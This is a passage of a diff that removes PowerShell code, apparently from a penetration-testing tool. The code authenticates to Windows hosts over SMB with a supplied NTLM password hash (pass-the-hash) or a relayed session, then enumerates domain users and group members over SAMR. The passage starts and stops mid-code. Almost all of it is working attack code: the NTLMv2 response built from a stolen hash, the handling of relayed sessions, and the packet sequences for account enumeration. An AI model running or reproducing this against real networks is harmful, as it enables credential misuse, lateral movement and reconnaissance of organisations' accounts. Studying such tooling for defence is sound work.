-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42')
-                        {
-                            $SMB_version = 'SMB1'
-                            $stage = 'NTLMSSPNegotiate'
-
-                            if([System.BitConverter]::ToString($client_receive[39]) -eq '0f')
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    Write-Verbose "[+] SMB signing is required"
-                                    $SMB_signing = $true
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x15,0x82,0x08,0xa0
-                                }
-
-                            }
-                            else
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is not required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    $SMB_signing = $false
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x05,0x82,0x08,0xa0
-                                }
-
-                            }
-
-                        }
-                        else
-                        {
-                            $stage = 'NegotiateSMB2'
-
-                            if([System.BitConverter]::ToString($client_receive[70]) -eq '03')
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    Write-Verbose "[+] SMB signing is required"
-                                    $SMB_signing = $true
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x15,0x82,0x08,0xa0
-                                }
-
-                            }
-                            else
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is not required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    $SMB_signing = $false
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x05,0x80,0x08,0xa0
-                                }
-
-                            }
-
-                        }
-
-                        Write-Verbose "[+] SMB version is $SMB_version"
-                    }
-
-                    'NegotiateSMB2'
-                    {
-                        $tree_ID = 0x00,0x00,0x00,0x00
-                        $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
-                        $message_ID = 1
-                        $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'NTLMSSPNegotiate'
-                    }
-                        
-                    'NTLMSSPNegotiate'
-                    { 
-                        
-                        if($SMB_version -eq 'SMB1')
-                        {
-                            $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00
-
-                            if($SMB_signing)
-                            {
-                                $packet_SMB_header["Flags2"] = 0x05,0x48
-                            }
-
-                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                            $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        }
-                        else
-                        {
-                            $message_ID++
-                            $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                            $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate
-                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        }
-
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'Exit'
-                    }
-                    
-                }
-
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-            }
-
-        }
-
-        if(!$SigningCheck)
-        {
-            $NTLMSSP = [System.BitConverter]::ToString($client_receive)
-            $NTLMSSP = $NTLMSSP -replace "-",""
-            $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000")
-            $NTLMSSP_bytes_index = $NTLMSSP_index / 2
-            $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive
-            $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive
-            $session_ID = $client_receive[44..51]
-            $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)]
-            $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)]
-            $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)]
-            $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
-            $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-            $auth_hostname = (Get-ChildItem -path env:computername).Value
-            $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
-            $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)
-            $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)
-            $auth_username_length = $auth_username_length[0,1]
-            $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)
-            $auth_hostname_length = $auth_hostname_length[0,1]
-            $auth_domain_offset = 0x40,0x00,0x00,0x00
-            $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
-            $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
-            $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
-            $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
-            $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
-            $HMAC_MD5.key = $NTLM_hash_bytes
-            $username_and_target = $username.ToUpper()
-            $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
-            $username_and_target_bytes += $auth_domain_bytes
-            $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
-            $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-            $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-            $security_blob_bytes = 0x01,0x01,0x00,0x00,
-                                    0x00,0x00,0x00,0x00 +
-                                    $target_time_bytes +
-                                    $client_challenge_bytes +
-                                    0x00,0x00,0x00,0x00 +
-                                    $target_details +
-                                    0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00
-
-            $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes
-            $HMAC_MD5.key = $NTLMv2_hash
-            $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
-
-            if($SMB_signing)
-            {
-                $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
-                $session_key = $session_base_key
-                $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256
-                $HMAC_SHA256.key = $session_key
-            }
-
-            $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
-            $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)
-            $NTLMv2_response_length = $NTLMv2_response_length[0,1]
-            $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
-
-            $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
-                                    0x03,0x00,0x00,0x00,
-                                    0x18,0x00,
-                                    0x18,0x00 +
-                                    $auth_LM_offset +
-                                    $NTLMv2_response_length +
-                                    $NTLMv2_response_length +
-                                    $auth_NTLM_offset +
-                                    $auth_domain_length +
-                                    $auth_domain_length +
-                                    $auth_domain_offset +
-                                    $auth_username_length +
-                                    $auth_username_length +
-                                    $auth_username_offset +
-                                    $auth_hostname_length +
-                                    $auth_hostname_length +
-                                    $auth_hostname_offset +
-                                    $session_key_length +
-                                    $session_key_length +
-                                    $SMB_session_key_offset +
-                                    $negotiate_flags +
-                                    $auth_domain_bytes +
-                                    $auth_username_bytes +
-                                    $auth_hostname_bytes +
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
-                                    $NTLMv2_response
-
-            if($SMB_version -eq 'SMB1')
-            {
-                $SMB_user_ID = $client_receive[32,33]
-                $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID
-
-                if($SMB_signing)
-                {
-                    $packet_SMB_header["Flags2"] = 0x05,0x48
-                }
-
-                $packet_SMB_header["UserID"] = $SMB_user_ID
-                $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate      
-                $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-            }
-            else
-            {
-                $message_ID++
-                $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID  $process_ID $tree_ID $session_ID
-                $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth        
-                $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth
-                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-            }
-
-            try
-            {
-                $client_stream.Write($client_send,0,$client_send.Length) > $null
-                $client_stream.Flush()
-                $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                if($SMB_version -eq 'SMB1')
-                {
-
-                    if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "[+] $output_username successfully authenticated on $Target"
-                        Write-Output "[-] SMB1 is not supported"
-                        $login_successful = $false
-                    }
-                    else
-                    {
-                        Write-Output "[-] $output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-                else
-                {
-                    if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "[+] $output_username successfully authenticated on $Target"
-                        $login_successful = $true
-                    }
-                    else
-                    {
-                        Write-Output "[-] $output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-                $login_successful = $false
-            }
-
-        }
-
-    }
-
-    if($login_successful -or $inveigh_session)
-    {
-
-        if($inveigh_session)
-        {
-
-            if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked')
-            {
-                Write-Output "[*] Pausing due to Inveigh Relay session lock"
-                Start-Sleep -s 2
-            }
-
-            $inveigh.session_lock_table[$session] = 'locked'
-            $client = $inveigh.session_socket_table[$session]
-            $client_stream = $client.GetStream()
-            $session_ID = $inveigh.session_table[$session]
-            $message_ID =  $inveigh.session_message_ID_table[$session]
-            $tree_ID = 0x00,0x00,0x00,0x00
-            $SMB_signing = $false
-        }
-
-        if($Action -eq 'All')
-        {
-            $action_stage = 'group'
-        }
-        else
-        {
-            $action_stage = $Action    
-        }
-
-        $path = "\\" + $Target + "\IPC$"
-        $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path)
-        $j = 0
-        $stage = 'TreeConnect'
-
-        while ($stage -ne 'Exit')
-        {
-
-            try
-            {
-                
-                switch ($stage)
-                {
-            
-                    'CloseRequest'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2CloseRequest $file_ID
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'Connect2'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRConnect2 $Target
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x39,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'Connect5'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRConnect5 $Target
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'CreateRequest'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2CreateRequestFile $named_pipe
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data  
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data  
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-
-                        try
-                        {
-                            $client_stream.Write($client_send,0,$client_send.Length) > $null
-                            $client_stream.Flush()
-                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                            
-                            if(Get-StatusPending $client_receive[12..15])
-                            {
-                                $stage = 'StatusPending'
-                                $stage_next = 'StatusReceived'
-                            }
-                            else
-                            {
-                                $stage = 'StatusReceived'
-                            }
-                            
-                        }
-                        catch
-                        {
-                            Write-Output "[-] Session connection is closed"
-                            $stage = 'Exit'
-                        }
-
-                    }
-
-                    'EnumDomainUsers'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'GetMembersInAlias'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRGetMembersInAlias $SAMR_policy_handle
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0d,0x00,0x00,0x00 0x00,0x00 0x21,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'Logoff'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2SessionLogoffRequest
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'Exit'
-                    }
-
-                    'LookupNames'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRLookupNames $SAMR_domain_handle $Group
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x11,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'LookupRids'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRLookupRids $SAMR_domain_handle $RID_count_bytes $RID_list
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
